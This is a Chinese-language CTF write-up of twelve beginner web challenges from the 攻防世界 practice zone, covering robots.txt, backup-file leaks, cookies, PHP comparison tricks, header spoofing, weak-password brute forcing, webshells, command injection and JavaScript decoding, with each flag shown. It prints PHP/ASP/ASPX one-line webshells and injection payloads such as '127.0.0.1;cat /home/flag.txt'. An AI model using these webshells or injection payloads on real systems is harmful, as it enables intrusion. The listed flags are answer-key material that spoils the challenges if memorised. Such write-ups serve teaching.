4.攻防世界1.新手练习区

1.view_source

访问url:

http://111.200.241.244:48855/

鼠标点击右键不起作用,F12审查元素

得到flag为cyberpeace{0f3a3e4ab8c8664f3cf40d4240ec7b53}

2.robots

访问url:

http://111.200.241.244:34362/

robots协议

robots.txt文件是一个文本文件,使用任何一个常见的文本编辑器,比如Windows系统自带的Notepad,就可以创建和编辑它。robots.txt是一个协议,而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。

所以我们在url输入robots.txt

http://111.200.241.244:34362/robots.txt

跳转到页面,提示我们还有个f1ag_1s_h3re.php文件,我们继续访问文件

构造url:

http://111.200.241.244:34362/f1ag_1s_h3re.php

得到flag为cyberpeace{577d71f33e261f53ee278275e3de3de3}

3.backup

访问url:

http://111.200.241.244:49988/

这道题提示我们是文件备份,文件泄露的问题

常见的备份文件名为:index.php~和index.php.bak

构造payload:

http://111.200.241.244:49988/index.php.bak

成功下载该文件,打开文件,即可得到flag为Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}

本题也可使用目录遍历搜索

4.cookie

访问url:

http://111.200.241.244:53803/

此关提示我们信息在cookie中,去查看文件的请求头和响应头信息

这里提示我们去查看cookie.php文件,我们去访问这个文件,让我们继续看文件响应头

构造url:

http://111.200.241.244:53803/cookie.php

打开文件查看响应头,得到flag为cyberpeace{6504b9e7b01f8a97949a68d32982ce70}

5.disabled_button

访问url:

http://111.200.241.244:34517/

题目提示页面按钮不能打开,点击了发现确实打不开

右键审查元素,发现有disabled属性,disabled属性可设置或返回是否禁用单选按钮,所以删掉disabled属性

得到flag为cyberpeace{0b19b9abb6aea292154a6499abb172e6}

6.weak_auth

访问url:

http://111.200.241.244:35344/

本题提示为弱密码爆破

输入任意账号密码,页面会提示通过admin账号登录

所以我们可以直接用burp爆破admin账号的密码,得到flag为cyberpeace{f5a9342401aee62a8ea8d22cb9362cc9}

7.simple_php

访问url:

http://111.200.241.244:47634/

源代码如下:

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){   #函数用于检测变量是否为数字或数字字符串。
    exit();
}
if($b>1234){
    echo $flag2;
}
?>

审查一下源代码:

a是要等于0又要不等于0

b是要比1234大还要不能是数字

这里我们给a=a任何一个字母,字母不能代表任何数字所以默认是0,可是字母是算是有内容同时也会输出true

然后b参数>1234且不能为数字和字符串,我们给b=1235a这样他既不是数字,也不比1234小

构造payload:

http://111.200.241.244:47634/?a=a&b=1235a

得到flag为Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

8.get_post

访问url:

http://111.200.241.244:45184/

这道题考查的是让我们发送get请求和post请求。

首先提示我们需要对他发送一个get请求,我们构造a=1进行发送get请求,然后返回结果

接下来用post的方式提交b=2,得到flag为cyberpeace{f63d796525d81be9a436ed31d1ef7c51}

9.xff_referer

访问url:

http://111.200.241.244:43718/

题目告诉我们是xff_referer,猜测是与xff和referer相关,打开环境看看

我们分析一下协议

Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。

X-Forwarded-For (XFF) 在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。在消息流从客户端流向服务器的过程中被拦截的情况下,服务器端的访问日志只能记录代理服务器或者负载均衡服务器的IP地址。如果想要获得最初发起请求的客户端的IP地址的话,那么 X-Forwarded-For 就派上了用场。

构造payload:

X-Forwarded-For:123.123.123.123

页面提示必须来自https://www.google.com

继续构造payload:

Referer:https://www.google.com

得到flag为

10.webshell

访问url:

http://111.200.241.244:48578/

看到是一句话木马,连接密码是shell

常用的一句话木马有:

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

我们可以使用菜刀进行连接

得到flag为cyberpeace{3dffde669e47bfaaa521bbbba1f075b1}

11.command_execution

访问url:

http://111.200.241.244:35407/

本题给了我们一个ping页面,我们尝试ping了本机地址127.0.0.1之后回显信息

页面回显ping -c 3 127.0.0.1 ,这里提示我们这是linux系统,ping三次。我们尝试使用linux命令执行,同时执行多条命令

127.0.0.1;ls

发现有回显

补充知识:

(1)find / -name httpd.conf  #在根目录下查找文件httpd.conf,表示在整个硬盘查找
(2)find /etc -name httpd.conf  #在/etc目录下文件httpd.conf
(3)find /etc -name ‘srm’  #使用通配符*(0或者任意多个)。表示在/etc目录下查找文件名中含有字符串‘srm’的文件
(4)find . -name ‘srm*’   #表示当前目录下查找文件名开头是字符串‘srm’的文件

| 常见连接符 | 举例 | 效果 |

| -------------- | -------- | --------------------------- |
| ; | A;B | 先执行A,再执行B |
| & | A&B | 简单拼接,A B之间无制约关系 |
| | | A|B | 显示B的执行结果 |
| && | A&&B | A执行成功,然后才会执行B |
| || | A||B | A执行失败,然后才会执行B |

尝试寻找带有flag的文件

127.0.0.1;find / -name flag.txt

发现flag.txt文件,我们去查看一下

构造payload:

127.0.0.1;cat /home/flag.txt

得到flag为cyberpeace{a120a656a36cbc00c6e2b288b06564b1}

12.simple_js

访问url:

http://111.200.241.244:58529/

打开题目,题目名字告诉我们和js有关

怎么输入密码都不对,我们就开始审计代码

function dechiffre(pass_enc){
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
                var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = j + (l) + (n=0);
                        n = tab2.length;
                        for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                                if(i == 5)break;}
                        for(i = (o=0); i < (k = j = n); i++ ){
                        o = tab[i-l];
                                if(i > 5 && i < k-1)
                                        p += String.fromCharCode((o = tab2[i]));
                        }
        p += String.fromCharCode(tab2[17]);
        pass = p;return pass;
    }
    String["fromCharCode"](dechiffre("55,56,54,79,115,69,114,116,107,49,50"));

    h = window.prompt('Enter password');
    alert( dechiffre(h) );

发现有个可疑的变量和dechiffre后面跟着的字符串。尝试解码一下pass

脚本如下:

string = "55,56,54,79,115,69,114,116,107,49,50"
s_list = string.split(",")
res = ""
for i in s_list:
    i = chr(int(i))
    res += i
    print(res)

得到flag为Cyberpeace{786OsErtk12}

脚本如下

s=[55,56,54,79,115,69,114,116,107,49,50]
d=""
for i in s:
    b=chr(i)
    d=d+b
    print(d)
print(d)

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖